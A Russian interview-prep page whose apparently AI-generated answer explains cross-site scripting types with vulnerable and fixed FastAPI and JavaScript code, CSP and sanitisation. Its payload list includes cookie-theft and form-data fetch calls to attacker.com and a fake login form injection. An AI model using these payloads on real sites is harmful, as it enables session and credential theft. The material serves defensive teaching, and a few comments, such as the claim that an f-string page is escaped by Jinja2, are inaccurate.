\n# При загрузке страницы скрипт выполнится для всех пользователей!\n```\n\nРешение: санитизация и экранирование\n\n```python\n# ✓ Безопасный код\nfrom markupsafe import escape\nfrom html import escape as html_escape\n\n@app.post(\"/comments\")\nasync def add_comment(comment: str):\n # Санитизируем на входе\n clean_comment = escape(comment) # Экранирует HTML символы\n db[\"comments\"] = clean_comment\n return {\"status\": \"saved\"}\n\n@app.get(\"/comments\", response_class=HTMLResponse)\nasync def get_comments():\n # escape() уже применён, но можно быть осторожнее\n return f\"

Comments

{db.get('comments', '')}

\"\n\n# Теперь \n# Выведется как: <script>alert('XSS')</script>\n```\n\n#### 2. Reflected XSS (Отражённая)\n\nВредоносный код в параметрах URL:\n\n```python\n# ❌ Уязвимый код\n@app.get(\"/search\", response_class=HTMLResponse)\nasync def search(query: str):\n # Берём параметр из URL и выводим без проверки\n return f\"

Results for {query}

\"\n\n# Атакующий создаёт ссылку:\n# /search?query=\n# Жертва переходит по ссылке → скрипт выполняется\n```\n\nРешение: экранирование вывода\n\n```python\n# ✓ Безопасный код\nfrom markupsafe import escape\n\n@app.get(\"/search\", response_class=HTMLResponse)\nasync def search(query: str):\n safe_query = escape(query)\n return f\"

Results for {safe_query}

\"\n\n# Теперь параметр экранируется: <img src=x onerror=alert('XSS')>\n```\n\n#### 3. DOM-based XSS (На основе DOM)\n\nКод на клиенте обработал пользовательский ввод:\n\n```javascript\n// ❌ Уязвимый код (JavaScript в браузере)\nconst searchQuery = new URLSearchParams(window.location.search).get('q');\ndocument.getElementById('results').innerHTML = `

${searchQuery}

`;\n\n// Атака: /?q=\n// innerHTML парсит HTML, и скрипт выполнится\n```\n\nРешение: использовать textContent вместо innerHTML\n\n```javascript\n// ✓ Безопасный код\nconst searchQuery = new URLSearchParams(window.location.search).get('q');\ndocument.getElementById('results').textContent = searchQuery;\n// textContent НЕ парсит HTML, только показывает текст\n```\n\n### XSS полезные нагрузки (примеры)\n\n```html\n\n\n\n\n\n\n\n\n\n\n\nTrusted content\"\n return templates.TemplateResponse(\"page.html\", {\n \"request\": request,\n \"content\": Markup(safe_html) # Не будет экранирован\n })\n```\n\n### Защита Content Security Policy (CSP)\n\n```python\nfrom fastapi import FastAPI\nfrom fastapi.responses import HTMLResponse\nfrom starlette.middleware.base import BaseHTTPMiddleware\n\napp = FastAPI()\n\nclass CSPMiddleware(BaseHTTPMiddleware):\n async def dispatch(self, request, call_next):\n response = await call_next(request)\n # Только скрипты с этого сервера, встроенные скрипты запрещены\n response.headers[\"Content-Security-Policy\"] = \\\n \"script-src 'self'; style-src 'self' 'unsafe-inline'\"\n return response\n\napp.add_middleware(CSPMiddleware)\n\n@app.get(\"/\", response_class=HTMLResponse)\nasync def index():\n # Этот встроенный скрипт будет заблокирован CSP\n return \"\"\"\n \n \n

CSP защита активна

\n \n \"\"\"\n```\n\n### Санитизация пользовательского ввода\n\n```python\nfrom bleach import clean, ALLOWED_TAGS\n\n# Разрешить только некоторые теги\nuser_html = \"

Safe

\"\nallowed_tags = ['p', 'br', 'strong', 'em', 'a']\nallowed_attrs = {'a': ['href', 'title']}\n\nclean_html = clean(\n user_html,\n tags=allowed_tags,\n attributes=allowed_attrs,\n strip=True\n)\nprint(clean_html) #

Safe

alert('XSS')\n\n# Полная очистка (удалить все теги)\ntext_only = clean(user_html, tags=[], strip=True)\nprint(text_only) # Safealert('XSS')\n```\n\n### Чеклист безопасности\n\n```python\n# 1. Валидация входа\nfrom pydantic import BaseModel, validator\n\nclass Comment(BaseModel):\n text: str\n \n @validator('text')\n def text_not_html(cls, v):\n if '
← Назад к вопросам

Что такое site scripting?

1.7 Middle🔥 161 комментариев
#Python Core

Комментарии (1)

🐱
claude-haiku-4.5PrepBro AI23 мар. 2026 г.(ред.)

Ответ сгенерирован нейросетью и может содержать ошибки

Cross-Site Scripting (XSS) — уязвимость веб-приложений

Cross-Site Scripting (XSS) — это уязвимость, при которой злоумышленник может внедрить вредоносный JavaScript код в веб-приложение. Код выполняется в браузере жертвы и может красть данные, сессии, куки и модифицировать содержимое страницы.

Как работает XSS атака?

1. Злоумышленник создаёт вредоносную ссылку или форму
2. Жертва переходит по ссылке
3. Приложение не валидирует ввод
4. JavaScript код выполняется в браузере жертвы
5. Код может:
   - Красть куки с сессией
   - Отправлять данные на сервер злоумышленника
   - Модифицировать страницу
   - Перенаправить на фишинговый сайт

Три типа XSS

1. Stored XSS (Сохранённая)

Вредоносный код сохраняется на сервере:

# ❌ Уязвимый код: FastAPI
from fastapi import FastAPI, Request
from fastapi.responses import HTMLResponse

app = FastAPI()
db = {}  # Имитация базы

@app.post("/comments")
async def add_comment(comment: str):
    # Сохраняем комментарий БЕЗ санитизации
    db["comments"] = comment
    return {"status": "saved"}

@app.get("/comments", response_class=HTMLResponse)
async def get_comments():
    # Выводим БЕЗ экранирования
    return f"<h1>Comments</h1><p>{db.get('comments', '')}</p>"

# Атаковать:
# POST /comments
# comment = <script>alert('XSS')</script>
# При загрузке страницы скрипт выполнится для всех пользователей!

Решение: санитизация и экранирование

# ✓ Безопасный код
from markupsafe import escape
from html import escape as html_escape

@app.post("/comments")
async def add_comment(comment: str):
    # Санитизируем на входе
    clean_comment = escape(comment)  # Экранирует HTML символы
    db["comments"] = clean_comment
    return {"status": "saved"}

@app.get("/comments", response_class=HTMLResponse)
async def get_comments():
    # escape() уже применён, но можно быть осторожнее
    return f"<h1>Comments</h1><p>{db.get('comments', '')}</p>"

# Теперь <script>alert('XSS')</script>
# Выведется как: &lt;script&gt;alert('XSS')&lt;/script&gt;

2. Reflected XSS (Отражённая)

Вредоносный код в параметрах URL:

# ❌ Уязвимый код
@app.get("/search", response_class=HTMLResponse)
async def search(query: str):
    # Берём параметр из URL и выводим без проверки
    return f"<h1>Results for {query}</h1>"

# Атакующий создаёт ссылку:
# /search?query=<img src=x onerror=alert('XSS')>
# Жертва переходит по ссылке → скрипт выполняется

Решение: экранирование вывода

# ✓ Безопасный код
from markupsafe import escape

@app.get("/search", response_class=HTMLResponse)
async def search(query: str):
    safe_query = escape(query)
    return f"<h1>Results for {safe_query}</h1>"

# Теперь параметр экранируется: &lt;img src=x onerror=alert('XSS')&gt;

3. DOM-based XSS (На основе DOM)

Код на клиенте обработал пользовательский ввод:

// ❌ Уязвимый код (JavaScript в браузере)
const searchQuery = new URLSearchParams(window.location.search).get('q');
document.getElementById('results').innerHTML = `<p>${searchQuery}</p>`;

// Атака: /?q=<img src=x onerror=alert('XSS')>
// innerHTML парсит HTML, и скрипт выполнится

Решение: использовать textContent вместо innerHTML

// ✓ Безопасный код
const searchQuery = new URLSearchParams(window.location.search).get('q');
document.getElementById('results').textContent = searchQuery;
// textContent НЕ парсит HTML, только показывает текст

XSS полезные нагрузки (примеры)

<!-- Простая атака -->
<script>alert('XSS')</script>

<!-- Событие в теге -->
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>

<!-- Кража куки -->
<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

<!-- Кража данных формы -->
<input onfocus="fetch('https://attacker.com/steal?data=' + this.value)">

<!-- Фишинг (fake login form) -->
<script>
  document.body.innerHTML = `
    <form action="https://attacker.com/phishing">
      <input name="username" placeholder="Username">
      <input name="password" type="password" placeholder="Password">
      <button>Login</button>
    </form>
  `;
</script>

Защита в Python (FastAPI + Jinja2)

from fastapi import FastAPI
from fastapi.responses import HTMLResponse
from fastapi.templating import Jinja2Templates
from fastapi.requests import Request
from markupsafe import escape, Markup

app = FastAPI()
templates = Jinja2Templates(directory="templates")

# Template: templates/comment.html
# {{ comment }}  <- Jinja2 автоматически экранирует

@app.get("/comment/{comment_id}", response_class=HTMLResponse)
async def get_comment(request: Request, comment_id: int):
    comment = "<script>alert('XSS')</script>"  # Из БД
    return templates.TemplateResponse("comment.html", {
        "request": request,
        "comment": comment  # Будет экранирован автоматически
    })

# Если нужно вставить HTML (доверяем содержимому):
@app.get("/trusted-html", response_class=HTMLResponse)
async def trusted_html(request: Request):
    safe_html = "<strong>Trusted content</strong>"
    return templates.TemplateResponse("page.html", {
        "request": request,
        "content": Markup(safe_html)  # Не будет экранирован
    })

Защита Content Security Policy (CSP)

from fastapi import FastAPI
from fastapi.responses import HTMLResponse
from starlette.middleware.base import BaseHTTPMiddleware

app = FastAPI()

class CSPMiddleware(BaseHTTPMiddleware):
    async def dispatch(self, request, call_next):
        response = await call_next(request)
        # Только скрипты с этого сервера, встроенные скрипты запрещены
        response.headers["Content-Security-Policy"] = \
            "script-src 'self'; style-src 'self' 'unsafe-inline'"
        return response

app.add_middleware(CSPMiddleware)

@app.get("/", response_class=HTMLResponse)
async def index():
    # Этот встроенный скрипт будет заблокирован CSP
    return """
    <html>
    <script>alert('This will NOT execute')</script>
    <p>CSP защита активна</p>
    </html>
    """

Санитизация пользовательского ввода

from bleach import clean, ALLOWED_TAGS

# Разрешить только некоторые теги
user_html = "<p>Safe</p><script>alert('XSS')</script>"
allowed_tags = ['p', 'br', 'strong', 'em', 'a']
allowed_attrs = {'a': ['href', 'title']}

clean_html = clean(
    user_html,
    tags=allowed_tags,
    attributes=allowed_attrs,
    strip=True
)
print(clean_html)  # <p>Safe</p>alert('XSS')

# Полная очистка (удалить все теги)
text_only = clean(user_html, tags=[], strip=True)
print(text_only)  # Safealert('XSS')

Чеклист безопасности

# 1. Валидация входа
from pydantic import BaseModel, validator

class Comment(BaseModel):
    text: str
    
    @validator('text')
    def text_not_html(cls, v):
        if '<script>' in v.lower():
            raise ValueError('Scripts not allowed')
        return v

# 2. Санитизация
from markupsafe import escape
clean_text = escape(user_input)

# 3. Экранирование вывода (в шаблонах)
# {{ variable }}  # Экранируется автоматически
# {{ variable | safe }}  # ОПАСНО! Не экранируется

# 4. Content Security Policy
response.headers["Content-Security-Policy"] = "script-src 'self'"

# 5. HttpOnly cookies (для сессий)
# SET_COOKIE: sessionid=...; HttpOnly; Secure; SameSite=Strict

Практический пример: безопасный форум

from fastapi import FastAPI, Form
from fastapi.responses import HTMLResponse
from markupsafe import escape
from bleach import clean

app = FastAPI()
posts = []

@app.post("/posts")
async def create_post(title: str = Form(...), content: str = Form(...)):
    # 1. Валидация
    if not title or not content:
        return {"error": "Empty fields"}
    
    # 2. Санитизация
    clean_title = escape(title)[:200]  # Макс 200 символов
    clean_content = clean(content, tags=['p', 'br'], strip=True)
    
    posts.append({
        "title": clean_title,
        "content": clean_content
    })
    return {"status": "posted"}

@app.get("/posts", response_class=HTMLResponse)
async def list_posts():
    html = "<h1>Posts</h1>"
    for post in posts:
        # Уже санитизировано, но Jinja2 будет экранировать
        html += f"<h2>{post['title']}</h2><p>{post['content']}</p>"
    return html

Ключевые моменты

  • XSS — внедрение JavaScript кода в приложение
  • Три типа: Stored (сохранённая), Reflected (отражённая), DOM-based
  • Защита: валидация, санитизация, экранирование, CSP
  • Во фронте: используй textContent вместо innerHTML
  • На бэке: экранируй в шаблонах, используй escape()
  • CSP — дополнительный слой защиты через заголовки